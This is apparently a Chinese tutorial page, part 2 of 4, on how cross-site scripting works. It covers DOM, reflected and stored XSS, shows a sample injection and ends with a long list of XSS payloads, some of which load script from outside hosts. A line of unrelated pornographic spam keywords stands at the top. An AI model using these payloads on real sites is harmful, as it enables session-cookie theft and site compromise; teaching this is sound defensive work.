欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

跨站式腳本(Cross-SiteScripting)XSS攻擊原理分析第2/4頁

 更新時間:2008年09月06日 12:27:38   作者:  
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。

分類
1. DOM-based cross-site scripting
頁面本身包含一些DOM對象的操作,如果未對輸入的參數(shù)進(jìn)行處理,可能會導(dǎo)致執(zhí)行惡意腳本。如下面一些DOM操作: document.URL
復(fù)制代碼 代碼如下:

document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)

舉個例子,假如某個脆弱的頁面的代碼如下:

[Ctrl+A 全選 注:引入外部Js需再刷新一下頁面才能執(zhí)行]

攻擊者使用如下的URL訪問時,則非常危險: http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
試了一下,貌似IE、FireFox等瀏覽器默認(rèn)對<script>alert(document.cookie)</script>進(jìn)行了編碼,阻止了腳本的執(zhí)行。但是對于DOM操作還是要更加謹(jǐn)慎啊,比如把上面的頁面修改一下,安全性就增強(qiáng)了不少: 
復(fù)制代碼 代碼如下:

<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>

2. Reflected cross-site scripting
也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當(dāng)URL地址被打開時,特有的惡意代碼參數(shù)被HTML解析、執(zhí)行。它的特點(diǎn)是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接菜能引起。

3. Persistent cross-site scripting
持久化XSS攻擊,指的是惡意腳本代碼被存儲進(jìn)被攻擊的數(shù)據(jù)庫,當(dāng)其他用戶正常瀏覽網(wǎng)頁時,站點(diǎn)從數(shù)據(jù)庫中讀取了非法用戶存入非法數(shù)據(jù),惡意腳本代碼被執(zhí)行。這種攻擊類型通常在留言板等地方出現(xiàn)。

實施方式
我們來試一把Reflected cross-site scripting。當(dāng)我們在某網(wǎng)站輸入?yún)?shù)XXX,發(fā)現(xiàn)參數(shù)XXX原樣的出現(xiàn)在了頁面源碼中: <input type="text" class="Seach" name="w" value="XXX" />
OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=" ,返回的HTML代碼如下:
<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />
這樣,<script>alert('haha')</script>被執(zhí)行了。這里再舉例一些XSS攻擊行為: 
復(fù)制代碼 代碼如下:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

相關(guān)文章

最新評論